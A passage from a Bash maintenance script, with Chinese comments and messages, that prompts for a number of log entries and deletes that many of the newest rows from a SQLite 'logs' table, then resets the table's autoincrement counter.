        echo "请输入要删除的日志条数(按 ID 从大到小删除,输入 0 取消):"
        read -r delete_count
        # 调试输出,检查用户输入的数据
        echo "用户输入的删除条数:$delete_count"
        # 处理用户输入的删除条数
        if [[ -n "$delete_count" && "$delete_count" =~ ^[0-9]+$ ]] && [[ "$delete_count" -gt 0 ]]; then
            for db_file in $db_files; do
                # 获取要删除的记录的 ID(按 ID 从大到小)
                ids_to_delete=$(sqlite3 "$db_file" "SELECT id FROM logs ORDER BY id DESC LIMIT $delete_count;")
                # 删除日志表中这些 ID 的记录
                for id in $ids_to_delete; do
                    sqlite3 "$db_file" "DELETE FROM logs WHERE id = $id;"
                done
                # 获取删除后的最后一个ID
                last_id=$(sqlite3 "$db_file" "SELECT MAX(id) FROM logs;")
                # 如果 last_id 为空,表示表中没有数据,重置为1
                if [[ -z "$last_id" ]]; then
                    last_id=1
                fi
                # 更新sqlite_sequence表的logs自增ID,确保ID自增正常
                sqlite3 "$db_file" "UPDATE sqlite_sequence SET seq = $last_id WHERE name = 'logs';"
                echo "已删除日志记录并更新了sqlite_sequence表。"
            done
        else
            echo "无效的输入或删除数量超出范围,删除操作已取消。请输入有效的数字,且在 1 到 $log_count 的范围内。"
        fi
    else
        echo "未找到 default.db 文件。"
    fi
else
    echo "目录 $root_dir 不存在。"
fi
echo "---------------------------------------"